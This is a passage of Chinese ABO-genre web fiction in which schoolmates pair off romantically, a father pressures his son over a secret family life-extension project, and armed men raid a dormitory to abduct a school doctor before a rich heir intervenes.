他前一天刚被叫回家去训话,在祠堂里跪了一晚上。 是以现在有些疲乏,否则不会在这么多人面前失态闭着眼休息。 对于永远绷着一根弦的,永远被要求要有怎样标准做个怎样的人的钟离曜而言,这已经是极致了。 只是浅寐着,他却仍然能感觉到有一道灼热的目光正在自己身上游弋。 这是来自顶级捕猎者的天赋与直觉。 钟离曜微微睁开眼,便当场将偷看自己的凌奈捉了个正着。 后者则快速移开了视线,一副做贼心虚的模样。 钟离曜好似覆盖着冰霜的脸上忽然冰雪融化,绽放出一缕浅淡的笑意。 而这一切,都被缩在被子里的白苏看在眼里。 而另一边的另一对小情侣也不遑多让。 塔利亚看赫克托尔的目光并不似凌奈那样偷偷摸摸而隐晦,反而非常光明正大。 房间里的几人都能看见他伸长脖子朝阳台看。 如果脖子再抻长一点,都能到菜鸟驿站去取两个快递了。 而赫克托尔却背身看向阳台外的沙沙叶林,全然没有回头的意思。 塔利亚和赫克托尔和凌奈等人一样,是战斗系的佼佼者,在大一的积分榜里一直占据前几的位置。 赫克托尔又怎么可能发现不了,一直有人在用滚烫的眼神凝望自己? 但他只是当作不知道,像鸵鸟把头伸进沙堆似的。 自从上次赫克托尔被塔利亚暂时标记,两人便开始变得不清不楚。 赫克托尔并不想在上学期间谈恋爱,更不想被别人发现自己Omega的身份,所以一直回拒塔利亚的示好。 可偏偏经过了暂时标记后,AO双方会产生一种生理性的依赖,令赫克托尔有时候不受自己控制。 具体表现为,塔利亚一旦抱着他,他总是无法推开对方(实际上当然不是标记的原因)。 赫克托尔心软无数次,思忖着自己这样对塔利亚太不公平。 金发Omega终于在灼热得几乎在自己身上烧灼出两个孔洞的目光里转过头,用目光示意塔利亚不要再往这边看了! 还有凌奈学长和钟离曜学长在看着呢! 大男生抿唇,在手机里飞速打下一行字。 【你之前跟我说的事,我好好考虑过了,这次任务结束我会给你答复的】 塔利亚手机震动起来。 他以大手掏出那部在他手里像是小玩具似的梨子手机,看到信息的刹那身体紧绷。 他在紧张。 他担心赫克托尔会彻底回绝他,也担心赫克托尔会因为想要拒绝他而以后再也不理他。 塔利亚出身优渥,从小是父母的掌上明珠,又自幼就展现出顶级的身体素质和反应能力、战斗素养,几乎没有受过什么委屈,人生履历可谓是一帆风顺。 可现在他却在害怕,害怕赫克托尔不理他。 手机再次震动起来。 【赫克托尔宝贝:[猫猫笑脸.jpg]】 塔利亚盯着那个可爱的猫猫表情片刻,忽然意识到了什么。 如果赫克托尔想要拒绝他,又何必发个这样的表情安抚他的情绪呢? 这说明什么! 夜空骤然被点亮,大片烟花同时绽放,如同千百颗星辰在一瞬间被点燃,照亮了整个江面。 这些烟花以雷霆万钧之势,划破夜幕,带着震耳欲聋的轰鸣声,将寂静的夜晚唤醒。 塔利亚灰暗的内心世界忽然被漫天满地的烟花映亮,原本的黑暗消失无踪,被彻底驱散。 这说明赫克托尔是想答应他的求爱了! 他!塔利亚!一个十八岁刚开荤的青年!终于要有老婆了! 塔利亚霎时间上演了川剧变脸,笑容爬上脸颊,嘴角比AK还难压,全然没有了刚才的严肃紧张。 赫克托尔在看见对方的傻笑后也露出一个腼腆笑容,心想:笑得真傻 可谁叫自己从第一眼见他开始,就再也无法把目光从他身上挪开呢。 房间里充斥着爱的秘密,情感在相对目光里传递着。 如果闻行屿看见了这四位在白苏房间里搞这一出,大抵也会觉得很无语。 白苏实在忍不了这四位眉来眼去了。 “我不睡了,咱们一起吃点夜宵吧!” 十分钟后。 木制小圆桌上摆着五杯热腾腾的茶,五个男生围着圆桌相对而坐。 白苏喝了点茶:“也没有准备什么,你们就吃些点心吧。” 桌上以白色瓷碟装着凤梨酥、鸡仔饼等点心,十八九岁的孩子正是爱饿的年纪,听白苏这么说,便也都不客气地开始吃点心。 钟离曜瞥向吃得满嘴饼干渣的凌奈,目光在一旁的白苏、塔利亚等人面上转了一圈,最终还是忍住了直接抬手去替凌奈擦掉碎渣的冲动,并且从抽纸盒立刻抽出一张:“沾到饼干屑了。” 凌奈接过,随意地擦了擦:“哦。” 白苏视线在两人之间来回打转,心想:你们什么时候关系变得这么好了啊?? 一开始不是还动辄要打架的吗?现在已经发展到会留意对方仪仪容并且帮忙提醒的程度了?! 而且看凌奈和钟离曜时不时偷偷瞥对方还自以为自己隐藏得很好天衣无缝的模样,白苏总觉得自己错过了什么吃瓜的过程。 难道他们已经有了一些新进展吗!? 一旁的塔利亚则闲着没事,在用手抠赫克托尔外套上的金属扣子。 那扣子做工非常精细,与腰带缠绕在一起,此时在塔利亚大手间看起来非常小巧迷你。 赫克托尔则看着他像玩毛线球似的抓来抓去,只是宠溺地笑,也并不阻止。 白苏虽然挺喜欢吃瓜的,也不介意看这些人谈恋爱。 但是他不想作为唯一一个孤零零的人,坐在两对情侣中间啊啊啊! 就在白苏感到无比煎熬的时刻,手机忽然响了起来。 白苏低头,立刻放下茶杯。 是闻行屿的电话! *** 礼堂内部装饰华丽,高高的天花板上悬挂着金色的吊灯。 墙壁上覆盖着深红色的天鹅绒帷幔,吸收了回声,为排练提供了完美的音效。 舞台的背景是一幅精心制作的布景,描绘了睡美人的城堡和周围的森林。 道具组的学生们忙碌着调整道具,排练着经典话剧《睡美人》。 姜晓扯了扯身上的衣服,满脸不情愿:“为什么要我当睡美人啊!” 百里枫好整以暇站在旁边,满脸嘲笑:“那不然还能是谁?” “你不就很合适吗!”姜晓想到网络上百里枫的粉丝经常泥塑他,觉得他当睡美人非常合适。 那些粉丝发言看得姜晓大为震撼,“女儿”“娇花”“小甜甜”等姜晓绝对不会放在百里枫身上的词汇,被她们当成了惯用词。 百里枫却穿着自己的制服站在一旁,甚至后退了两步,悄悄看向尉迟云蔚:“我可不想被亲醒。” 尉迟云蔚此时身穿一套剪裁合体的王子服装,这套服装以深蓝色为主调,上衣是精致的缎面材质,上面缀着金色的刺绣,领口和袖口处装饰着金色的蕾丝。 下身是一条同色系的紧身裤,搭配一双锃亮的黑色靴子,靴子上有着精细的雕花。 配上大男生笔挺高大的身材和英俊帅气的脸,完全就是童话里走出来的王子形象。 听见百里枫的揶揄,尉迟云蔚翻了个白眼:“你那么高那么壮,也不适合当睡美人,有点自知之明。” 他回头对姜晓说:“大家愿赌服输,你既然抽中这个签了,就好好演吧。” 尉迟云蔚心里其实是暗爽的。 话剧里,王子要亲吻睡美人,唤醒对方,然后两人过上幸福的生活。 虽然只是借位亲,但能靠姜晓那么近,让他心里还是隐隐有些喜悦。 姜晓叹气:“知道了,我们继续排练吧。” 此时的姜晓穿着公主裙,裙子的主体是柔和的粉色,裙摆宽大,层层叠叠的薄纱如云朵般轻盈,随着他的每一个动作轻轻晃动。 姜晓的内心完全是拒绝的! 但确实他们班在报了这个节目后大家都不愿意演睡美人,是随机抽签决定谁来演的。 他也没想到尉迟云蔚会正好抽到王子,而自己抽到公主。 如果反过来就好了,他还是很愿意扮演尉迟云蔚的“王子”的。 剧本在最关键的亲吻睡美人这一幕里写着(月光透过窗帘,洒在沉睡的睡美人身上,她的面容宁静而美丽。王子站在床边,凝视着她,他的眼中充满了温柔和决心。) 姜晓便躺在道具床上,看着尉迟云蔚。 尉迟云蔚清了清嗓子,继续高声朗诵道:“长久的沉睡,终于到了尽头。我的爱,唤醒你的时刻已来临!” 剧本的下一行便是(王子缓缓俯身,他的手轻轻抚摸着睡美人的脸颊,她的脸庞在月光下显得更加苍白。) 尉迟云蔚低头附身,轻轻摸了摸姜晓的脸。 皮肤相触,两人在顷刻间都感到有些不自在。 尉迟云蔚愣了许久才反应过来,念台词也颇为结巴:“愿你的梦,因我的爱而破碎。醒来吧,我的公主。” 谷四宜站在旁边满脸欢乐,看着剧本下一行:(他深吸一口气,然后轻轻地,几乎带着颤抖,将他的唇印在她的额头上。时间仿佛静止了,整个房间充满了期待的气氛。) 要亲了!围观!吃瓜! 可就在此刻,南宫槿的保镖冲进礼堂,低声在南宫槿身边开始说话。 尉迟云蔚余光瞥到那几个保镖,下意识站了起来走向南宫槿。 他和南宫槿不仅是好兄弟,也是坚固的利益同盟,定然会关心对方的情况。 南宫槿看着尉迟云蔚,低声说:“闻家的人进学校了,足足两个连的兵力。” “他们疯了吗?”百里枫听见了南宫槿的话,“他们以为这是什么地方,是打算攻打学校么?真把整个主城当成他们闻家的地盘了??” 南宫槿摇头,声音低沉:“学校里有他们想要的东西,闻方赫这是想来抢了。” *** 茶香袅袅,雾气飘散在古朴书房内。 闻行屿在书桌前坐下,也并不与闻方赫寒暄,只是淡淡点了下头。 闻方赫眉目深邃,锋利的侧脸轮廓与闻行屿颇为相似,分明是父子,此时却像是陌生人般。 连说两句客套话,都没有的程度。 甚至两人眸光间流转的并无半分温情,反而充满了戒备和算计。 闻方赫率先开口:“几个月没见,瘦了不少。易感期熬不过去的日子,不好过吧?” 闻行屿毫不避讳地对上他的打量目光:“总比靠榨取别人的生命来得好过。” 闻行屿一上来便毫不客气的话无疑惹怒了本就不满的闻方赫:“你!?” 此时即便二人面容有相似之处,也能看出两人的眼神全然不同。闻行屿的目光勇敢无畏,像是两束黑暗里的光芒,无惧阻挡地驱散黑暗;而闻方赫的眸中沉淀着岁月,看人时颇有些阴恻恻的。 书房内安静得落针可闻。闻行屿开口时神色平静:“这么多年过去了,您还是和我刚记事时候一样年轻。” 这句话意有所指,令闻方赫刹那有些警觉,面上却不显露:“哼。” 然而闻行屿却并不打算就此轻轻放下,而是说:“当时我们出现信息素障碍,为什么能在那么短的时间组建起能够配型信息素的供应志愿者团队?只有一种可能,那就是你们一直都在从事相关的研究,把他当成生意。” 在闻行屿受到信息素武器袭击后,闻家曾经陷入一场大乱。 家主闻方赫却以雷霆手段平息内乱,并且以极快的速度笼络了钟离家以及其他氏族,为这批士兵提供治疗。 当时的闻行屿陷入昏迷,对此一无所知。 后续,闻家联合钟离家开展了名为【NGC3712】的秘密项目,通过一些不被当前信息素研究所认可的方式保住了一大批Alpha士兵的性命,其中就包括闻行屿。 项目过程极其残忍,违背了联邦立法对omega以及alpha人权的保护,因此在一年后被严令叫停。 但仍旧有许多权贵alpha,至今在采用这套技术保证自己的信息素水平稳定。 对于他们而言,普通人的姓名与蝼蚁无异,剥夺他人的以成全自己,并非什么需要愧疚的事。 恰巧的,闻方赫就是这样的人。 闻行屿后续情况稳定后了解到此事,便从此拒绝再次接受治疗,并且表示要和闻家脱离关系。 “闻方赫,我虽然一直在部队里,但我知道消息的渠道并不少。”闻行屿言语间带着威胁。 闻方赫此时才意识到,闻行屿早已摸清楚了家族地下灰色的产业链,便也不再掩饰:“你既然已经知道,我也不必再隐瞒你。但你有没有想过,这难道是我闻方赫一个人能够决定的吗?闻家有多大,支系之间明争暗斗,盘根错节,我们并非那个发起者,只能被迫接受罢了。” 闻行屿眸中跳动着愤怒的火光,但也明白闻方赫说得是实话:“是谁在主导这一切,我要知道事情的全部。” “你想知道,可以,但你必须重新接受【NGC3712】的治疗。”闻方赫丝毫不让步。 闻行屿同样毫不犹豫:“我不可能再接受这个项目,如果你不告诉我,我会自己去查清楚。” “你的命,根本不够你把这件事查清楚!”闻方赫怒了,从宽大的皮质沙发中站起,快步绕过书桌,扯住闻行屿的衣领。 杀意尽显,闻行屿毫不怀疑,闻方赫此刻是想杀死自己的。 第34章 第 34 章 “你要以你妹妹的性命作…… 空气里四散Alpha信息素的味道, 是刺鼻的硫磺味道。 闻方赫往日寡言少语,回想自己十几年来似乎很少和闻行屿沟通什么,但此时局势已经严峻到不得不说开这一切。 任何光鲜亮丽的东西, 都有其背后丑恶的一面。 南宫家如是,闻家亦如是。 富豪们拥有了数不尽的财富,便会开始思考自己该如何更长时间地去享受财富给自己带来的便利以及成就感。 而他们想要追求的一切答案都指向了长生。 人体细胞新陈代谢的规律难以扭转, 而现在生物科学也在逐渐发展。 逐渐有人开始把主意打到了其他人的身上。 而这样巨大的、血腥的、灰色的产业链, 在没有大家族的作保下,是不可能进行的。 现今联邦主城, 没有哪一个大家族的人没有接受过这样的“治疗”。 是以,闻方赫在这二十年间,能发现越来越多新一辈的年轻人身体更加强壮、各项身体指标更加优异。 闻行屿是难得的另类,他生来就很优秀,所以那些被排斥反应苦苦折磨的家伙也更加痛恨他。 痛恨他的天赋异禀,痛恨他生来拥有一切。 偏偏这小子并不珍惜, 连信息素感应障碍这样严重的问题都不管不顾。 闻行屿却并不害怕, 被他扯着衣领, 只是冷淡地笑了笑:“就是因为你这样, 我妈才会离开。” 数年前闻行屿母亲和闻方赫离婚,从此去了南极洲独自生活,从事科考工作。 闻行屿觉得肯定是闻方赫的权欲熏心和铜臭味熏到了他妈妈, 否则人家也不会走得那么坚决 也不会那么多年, 连姓闻的他们两兄妹也连带着嫌弃厌恶。 闻行屿早就忘记了对方的声音和习惯,这么多年对方也从未主动联系过他们。 闻方赫似乎早就猜到闻行屿会说这么一句,只是说:“如果我们这一脉之后没落,这条产业链在他们手里,只会越做越大。你要是为了你那所谓的正义, 你就更得趟这趟浑水,手里沾了血,才能去对付他们,做你想做的事,你懂么!” 可闻行屿的答案依旧是:“不。” 叛逆的小孩往往被家长更加宠爱,闻方赫虽然头疼闻行屿,但心里还是对这个孩子满意的。 “你已经找到那孩子了,是吧。”闻方赫见他满脸坚决,不由忽然笑起来。 闻方赫想起那孩子的模样,似乎若有所思:“我也觉得钟离昭这下太可笑,竟然敢把他放到你眼皮子底下。” 闻行屿却说:“放在学校里才是最安全的,钟离家、南宫家的人都在,没有人敢轻易动他。” 闻方赫陷入沉默。 他有时候也会懊悔,自己为什么没有像南宫家那样崇尚多子多福,如果并非他只能指望成年的闻行屿,他早就不想管闻行屿的死活了,毕竟这是对方自己的选择。 他又不是什么跟在孩子后面端屎擦尿的老妈子,原本还是非常尊重孩子自己的意愿的。 可是现在情况复杂,不争是很难做到的。 所以他只能尝试着,说服闻行屿。 “行芝,出来吧。”闻方赫一声令下,书房的深棕色梨花木暗门后便走出一位身形窈窕的女孩。 那女孩看起来不过十五六岁的模样,一头乌黑长发,模样温婉美丽。 见到闻行屿,她立刻喊道:“哥哥。” 闻行屿蹙眉:“你不是去上学了么?” 闻行芝本应该在隔壁城市的贵族高中上学,为何此时会凭空出现在这里? 今天并不是周末,闻行屿记得那所学校每一天可是排课排得很满,绝无溜回家的可能。 他带着质问的目光立刻转向闻方赫,想要得到一个答案:“你答应过,会让行芝去学校上学,学任何她想学的东西的。” 这个家确实有些奇怪,父不父,子不子,两人之间倒像是仇人。 “闻行屿,家里的情况比你想得更糟,如果我不叫她回来,你猜她现在会在哪里?”闻方赫差点破防,没想到闻行屿第一反应竟然是怀疑自己不让闻行芝上学。 闻行芝一直生活在闻家,和父亲关系也比较好些,立刻解释道:“哥哥,这件事和爸爸没关系,我” 这些年来,虽然闻行屿从不回家,但闻方赫并未阻止闻行芝和闻行屿联系。 因为只要闻行芝还在闻家,重情义的闻行屿就肯定会回到闻家。 这是他们的母亲传给他们的最宝贵的东西,也是他可以用来拿捏这两兄妹的趁手工具。 “小叔他们欺人太甚,他们控制了学校说要开除我,还在老爷子面前说要让我嫁给联邦总统麾下那个长得像丑八怪一样的人!” “为什么啊!就因为我是Omega吗!” 闻行屿搂住扑进自己怀里开始委屈哭泣的闻行芝,无奈道:“知道了,我会帮你解决。别怕。” 他目光飘向窗外的园林,心中既迷茫又充斥着痛楚。 宅院的中央是一个宽敞的庭院,庭院中摆放着几尊石雕,都是貔貅的形态。 家里永远都是这样,金碧辉煌,但冷清肃穆,像是一座埋藏棺材的地下墓穴。 闻行屿讨厌这里,所以几乎从不回来。 今天如果不是因为闻老爷子身体状况每况愈下,家里的争斗也愈发摆在台面上,他也不会回来。 作为联邦建邦时期的功勋家族之一,闻家数百年的时间积累了常人无法想象的巨额财富,包括但不限于土地、矿产、化石燃料资源等垄断性产业,同时他们也是当今市场上众多科技公司背后的真正操控人,可谓是真正的富可敌国。 这样的家族必然枝叶繁茂,在闻行屿这一辈就有数十个孩子,各个就读于联邦最好的学校,马术、绘画、滑雪等业余爱好更是不在话下。 所有支系都卯足了劲,想要争那个独一无二的掌权人位置。 而闻行屿作为上一辈掌权人最青睐的人选,自然成了其余人眼中的最大障碍。 从小到大,闻行屿面临的暗算陷阱就不计其数,以至于他忍无可忍以个人身份加入army,宁愿和闻家断绝关系。 待从部队退役,他本以为自己可以作为普通人生活下去,可老爷子却叫他回来,告诉他——“我仍然属意你作我的接班人。” 这无疑将他再次卷入了权力的争斗里。 闻行屿知道,有很多人想要他死。 甚至比南宫家的人,更加憎恨他。 闻行屿听着妹妹的哭声,飘出躯壳的魂魄慢慢重新回到体内。 他无法否认的是,闻方赫说的是对的。 就算他死了,闻家的权利争斗也不会结束,反而会让更加恶心的人握住权柄,成为加害者。 闻行屿轻轻摸了摸闻行芝的头:“好了,别哭啦,哥哥替你出气,好不好?” 闻行芝抽抽噎噎地停下:“嗯。” 哥哥一直是她心里的英雄,似乎无所不能,只要在哥哥羽翼下,她就能做任何想做的事。 “你无所谓死了,那你妹妹你就不管了么?”闻方赫再次开口时多了两分情真意切。 “数年以后,我没法护着她的时候,如果你已经死了,或者你已经被驱逐出权力的角逐,你以为她会有好日子过吗?你知不知道,一个Omega,一个上流社会的Omega会被他们用来干什么,她的结局只能是嫁给别人,到时候她被欺负叫天天不应叫地地不灵的时候,你又能帮得上什么忙?” 中年男人虽然面容年轻,黑眸里却透出古稀老人才该有的风霜和威严:“你可以任性,但你必须为他们着想。” 闻行屿记得小时候,母亲总是对他说一句话。 “你要有责任感,你要保护家人。” 闻行芝却对他说:“哥哥,如果你不想做,不需要为我们而做。我不想你那么痛苦。” 可这样的话,却好似一种无形的压力,让闻行屿感到负担更重了。 闻行屿神色一变,似乎被这番话触动了,沉默不语着。 闻方赫见他表情几度变幻,便又继续趁热打铁:“只有你也争,才能让世界按照你所想的样子去发展。你不是小孩了,我觉得你应该时明白这个道理的。” 有如实质般的死寂后,闻行屿缓缓开口:“我答应你,但是不能够再有人因为这个计划而死。” 白苏的身份他已经猜出,不需要再去向任何人佐证了。 只可惜那只小猫已经寿终正寝,否则现在白苏还能再见见他。 闻行屿此前从未想过自己有一天还能再见到对方,可钟离昭竟然把对方打包送来了学校。 闻方赫终于得到自己想要的答案,松了口气。 闻行屿抬眸:“把你一直暗中盯梢我和白苏的人撤掉,碍眼。” “那不是我的人。”闻方赫蹙眉,“我想说什么会直接和你当面沟通,用不着那些下三滥手段。” 下三滥,让闻行屿想到几个和自己姓氏相同的、可以用亲戚相称的人。 闻行屿神色一变。 *** “小白,照顾好自己,等我回来。” 闻行屿的电话挂断,白苏收起手机,人已经麻了。 他一个路人,竟然还能搞出这么大的动静来 可真是谢谢了啊! 平日爱说话的塔利亚和凌奈此时也都很安静,默默思考着之后的事。 大战在即,所有人都不敢轻敌,更何况此事还涉及闻家秘辛。 塔利亚甚至有点担心事后自己会不会被权力滔天的闻家灭口。 月光透过稀疏的云层,洒在蜿蜒的小径上,小径两旁的树木投下长长的影子。 深夜秋风萧索,地上的落叶被卷起飘向半空。 树林里,偶尔传来夜行动物的窸窣声。 钟离曜凝神,手立刻伸向茶几上的小灯:“有人来了,把灯先关掉。” 关灯的刹那房间陷入黑暗,唯有靠嗅觉和听觉来进行判断和分辨。 凌奈闭上眼,耳边听见了密集而整齐的脚步声。 是训练有素的队伍。 有金属摩擦衣物的声音,是战术手套握着木仓碰撞间留下的动静。 他的听觉很敏锐,是从小严加训练的结果。 这样坐在黑暗里分辨敌人来的方位,好似让他重新回到幼年时刻。 虽然他并不想回到那个时候,过那样刀尖舔血的生活。 那时凌家尚未发迹,哥哥开着一家游走在联邦law边界的地下角斗场,而凌奈作为他的亲弟弟也被他推上角斗场,成为了牟利工具。 厮杀啃咬,为活命无所不用及,与野兽无异。 这样在黑暗里倾听着,蛰伏着,观察着,分辨敌人方位后一举将敌人撕碎的练习,让凌奈回忆起来有些不愉快。 四人虽然没有对话,却在同一时刻默契站起,按照方才钟离曜吩咐的战术安排分成四个方向四散蹲点,步伐整齐而轻盈,连白苏都没听见他们离开的动静。 在一片漆黑里,宿舍客厅外的房门被敲响了:“你好,请问白医生在么?” 塔利亚一怔。赫克托尔也一样。 他们都以为这样多的人力会采用强行破门的方式,可是对方却直接敲门? 是没有猜到这里会有其他人守着吗? 白苏犹豫着起身,还未开口便被凌奈打断:“谁啊?这么晚了,有事吗?” “有个学生在宿舍区不舒服,电话打到辅导员那边了,您看能不能过去看看?”外面说话的男人听声音大抵是中年,语调也十分客气。 而且他并没有听出凌奈的声音并非白苏。 白苏一愣,肩膀却被凌奈猛地按住,凌奈附在他耳边以气音低声说:“我去开门,你在这里等。” 说罢,他便故意把拖鞋踢踏在木地板上发出响声,声音懒懒散散得极具伪装性:“我们都睡了啊,严重吗?” 说着,凌奈单手拉开门,将身体藏在门后,只露出个头发凌乱的脑袋。 门外的中年男人穿着考究的衬衫,看见凌奈的瞬间往后退了一步:“你是谁?” 这也坐实了他确实无法分辨凌奈和白苏声音的事实。 凌奈目光不经意般扫过他身后空荡荡的走廊,眼睛眯了起来:“我是他弟弟,今天来找他玩的,怎么了嘛?” 黑暗里,钟离曜默不作声挑了挑眉,心想这家伙扯谎还真是信手拈来,毫无痕迹。 撒谎并非钟离曜喜欢的行为。 但在此刻的凌奈身上却显得尤为机敏动人,让钟离曜心里痒痒的。 中年男人似乎纠结了一瞬,然后说:“你把他叫起来一下吧,情况比较紧急的。” “行吧,你把宿舍楼栋和宿舍号告诉我,我现在把他叫醒过去。”凌奈早已凭借气味感觉到了那些人藏身的位置,心想还真是大费周章。 捉一个肩不能扛手不能提的瘦弱beta,用得着出动这么多人,还蹲在走廊栏杆外看不见的地方,等着一声令下来押送他么? 凌奈发觉事情可能比他和钟离曜想得更加严峻。 “好,我就在这里等他,让他跟我走一趟就行。你是学生吧?你就不用过去了。”中年男人打量着凌奈,似乎在分辨对方的身份。 “今天的事也不要外传。”衬衫男人板着脸,看起来很严肃。 凌奈蹙眉,敏锐感觉到宿舍楼外阳台的方向也有人来了! “我和他一起去,多个人也多份力嘛。”凌奈暗自观察着,面上却不显露,只是笑着说。 中年男人眼珠一转,似乎明白过来眼前这小孩是铁定主意跟着白苏,便咬咬牙说:“那学生情况特殊,我跟你详细说说吧” 但下一刻,凌奈就被男人忽然发难!直接拖拽了出去! 谁也没想到,那看起来斯文瘦弱的衬衫男,会突然发难,爆发力竟然如此之强! “凌奈!”钟离曜立刻飞身追了出去。 “凌奈!”白苏大惊,但身体下意识按照方才他们的要求躲进了隐蔽的床底。 这样就算有人进来,也只会和他们打起来,不会这么快发现自己。 凌奈素来以反应速度和战斗直觉著称。 在被扯出去的刹那他就收手并且出脚了,但对面那人好似已经猜到了他的动作,并且比他更加快! “草。”凌奈骂了句脏话,立刻调整了姿态,袖口银光一闪。 是的,他藏了暗器。 和钟离曜这种出身正派名门的选手不同,凌奈玩阴的很有一手。 钟离曜冷静的步伐在混战中游走,他的每一次出击都像是精心计算过,与凌奈形成配合,有来有往击退敌人。 袖口下,坚硬的武器形状在黑暗里若隐若现。 和凌奈所想得不同,他的衣服袖子下也有短刀作为武器。 出来混,没有一个是单纯的。 是以那西装男人虽然功夫过人,但也并未在凌奈和钟离曜的包抄下讨到什么好处。 但他还有援军!足足一个连的人马! 刹那,阳台、窗户翻进数人,将塔利亚和赫克托尔团团包围! 塔利亚简洁而致命的拳头如流星划过夜空,每一次挥击都准确无误地落在对面人马的防守空当。 赫克托尔的身体灵活地在狭小的空间内穿梭,又挨了好几下,小声骂了句脏话。 人太多了,而且身手很好! 到底是哪来这么多这么能打的人! 钟离曜在混战中如同幽灵般忽隐忽现,总是在最恰当的时刻出现在最需要的地方,招式也变幻莫测,让对手防不胜防。 然而这里面却正好有个人似乎熟知他的招数,并且能和他一对一过上几十招。 钟离曜也难得地想说脏话。 这些人的身手极其高强,与战斗系的顶尖学生对上也丝毫不吃力。 并且因为人数优势,塔利亚、赫克托尔四人逐渐落了下风。 而白苏也被人从床底下揪了出来:“小东西还知道躲在床底下呢?让我们可是一通好找啊!” 还没等白苏看清眼前人的模样,就被兜头套上正好罩着脸的黑色面罩,霎时间什么也看不清。 白苏疯狂挣扎,又被骂了两句:“闭嘴!” 钟离曜目光一凝,大喊:“你们不能带走他!现在后悔还来得及,否则即刻起,钟离家会不死不休地追杀你们!” 男人的声音掷地有声。 很少有人会为了一点利益而冒着风险顶大家族的追杀令。 追杀令,不死不休,而大家族的追杀令能让人即使隐姓埋名潜伏在深山老林,也会被揪出来。 可这些人,却只犹豫一瞬间就继续拖着白苏往外走! 好像根本没有当回事。 “草!”凌奈明白了。 这些人是闻家的人,闻行屿之所以提醒他们要小心,是因为他自己家的人要出手! 闻家势力覆盖很广,如果说有谁会如此视钟离家的追杀令为无物,那只能是闻家的人! 这些人明知道他们身份非富即贵,却敢这样真刀真枪和他们打起来,全然不怕他们受伤 一开始凌奈以为他们不知道钟离曜等人的身份,可现在看来,是知道但可以不计代价! 真是疯了! 闻家的人真是疯了! 凌奈联想到最近闻家愈演愈烈的争斗,可怎么也想不明白为何他们要这样争抢白苏。 就算闻行屿喜欢白苏,白苏也不值得他们这样抢夺 难道是想用白苏,去威胁闻行屿么? 可就算闻行屿被拿捏,他那老谋深算的爹也绝不会答应的。 钟离曜听见又有援兵正在赶到,心想这些人为了拿下白苏也算是下了血本。 之后,姐姐她们也不可能放过这群人。 门外忽然响起了一阵掌声,响亮的,却也在此时突兀至极。 “学校里竟然也有这样精彩的打戏可以看,不错,需要给点小费吗?”清贵声音忽地响起。 那声音并不响亮,但却很清晰,不偏不倚出现在白苏身旁。 白苏刚想喊“救命”,就被捂住了嘴。 拉着白苏的人动作一顿,下一刻手被掀开:“谁让你这么拎着他的?” 掀开对方的那只手骨节分明,手指纤长白皙,皮肤下是安静蛰伏的青紫血管。 手腕上,赫然是一块价值不菲的江诗丹顿。 第35章 第 35 章 “我说过,我会找到你的…… 伸手那人袖口的纯金郁金香纽扣轻轻晃动, 将拎着白苏的手拨开。 然后将白苏挡在身后。 白苏抬头只看见对方深蓝色的定制西装,剪裁利落,面料泛着淡淡的光泽。 他的衬衫是纯净的白色, 领口处的领结打得一丝不苟,与西装的深色调形成鲜明对比。 他的手腕上佩戴着一款经典的江诗丹顿,表带由深棕色鳄鱼皮制成, 低调而奢华。 此表的表盘为联邦某位知名艺术家精心设计, 镶嵌上百颗来自坦桑尼亚的宝石,在灯光下熠熠生辉。 赫然是南宫槿的标志。 “你们这是把学校当成什么地方了?大半夜的不嫌吵么?”更为清亮一些的男声这样说道。 随后, 声音的主人很快走入白苏视线。 百里枫一身灰色的双排扣西装,搭配着同色系的马甲和深色的领带,是某蓝血品牌当季的最新款。 他在十六岁便拿下了该品牌大中华区的形象大使,此后在各种公开场合都会搭配该品牌的服装。 男生西装口袋中露出一角精致的丝帕,颜色与领带相呼应,增添了一份俏皮的时尚感。 尉迟云蔚、谷四宜跟在百里枫身后出现, 神色凝重。 而在他们身后还穿着公主裙的姜晓急急冲了上来, 全然不管这些荷枪实弹的士兵:“小白哥, 你没事吧!?” 白苏此时都顾不上震惊为什么F4会出现了, 上下打量着姜晓;“你穿的这是什么东西啊!?” 连穿衬衣的中年男人都隔着那副故作斯文的眼镜多打量了姜晓两眼。 F4:“” 凌奈&钟离曜:“” 姜晓也有点不好意思,扯了扯自己带着大闪片的裙子:“咳,现在就别说这个啦。” 白苏也意识到这一点, 便重新闭上了嘴。 “南宫少爷, 这是闻家的事,您就别来插手了,是觉得南宫家和闻家之间的关系不够乱么?”带头的人显然资历很深,对南宫槿说起话来也毫不客气。 大概是因为任务过程中阻拦的人比想象中更多,所以衬衣男人此时有些着急, 说话态度也做不到像最初那般文质彬彬了。 完不成任务,等待他的会是什么,他很清楚。 是以即便眼下站在他面前的人是南宫家的继承人,他也做不到和颜悦色。 他知道,闻行屿很快会收到风声,他们能够带走白苏的时间,已经不多了。 原本颇为斯文的男人眼睛眯起,面部的神态也开始紧绷起来。 即使隔着数米远,百里枫依然能感受到对方狭长眼眸里毫不掩饰的杀意。 南宫槿却丝毫不惧,只是眸中闪过一丝冷肃,又恢复往常的淡然神情:“我不管你们闻家有什么事,又为什么要深夜硬闯这所学校,但你们想带走的人是我的人,我拒绝。” 男生高大的身影挡在白苏面前,钟离曜、凌奈也一左一右站定,白苏此时倒不怕了。 就算真有人想带走自己,当着这几位少爷的面,也得脱层皮。 领队的黑衣人神色一僵,似乎没有预料到南宫槿会如此:“那位给我们的指示是要求我们不计任何代价带回白苏,如果您执意阻拦,那我们恐怕要多有得罪了。” 这样不客气的语气在南宫槿养尊处优多年的生活里很少遇到,令他新奇地不怒反笑。 南宫槿并非善茬,再次开口时倨傲的本质尽显:“你算什么东西,敢这样和我说话?” 看着带头的人,南宫槿就已经知道了这些人是受谁的授意而来。 他比凌奈和钟离曜更加熟悉闻家的人以及派系分布,所以能够立刻辨认出对方是闻行屿小叔的人。 而南宫槿的保镖也立刻围绕在南宫槿身边,并且将白苏也围绕在内,形成了一道坚固的人墙! 尉迟云蔚离他们远些,此时提醒道:“喂,鹰犬办事之前,最好还是问问主子,自己承担得起这样的后果么?” 谷四宜则有些担心南宫槿这边的局势,面上流露出几分淡淡的担忧。 那衬衣男人犹豫片刻,还是决定打个电话:“槿少爷,我们从来没有想过要开罪于您,但这个人我们今天必须带走。” 电话接通后衬衣男人低声把南宫槿在这里的事情告知电话那边的人,就毕恭毕敬双手递上了手机:“槿少爷,我家主子想和您说几句。” 南宫槿接过电话,那边沙哑阴沉得几乎不像人类的声音说:“南宫少爷,无意冒犯,我替我那没眼色的下属给您赔个不是。您大人有大量,不要和他计较。” 南宫槿却并不顺着他台阶下,也并未客套应承,只是冷淡道:“有什么事吗。” 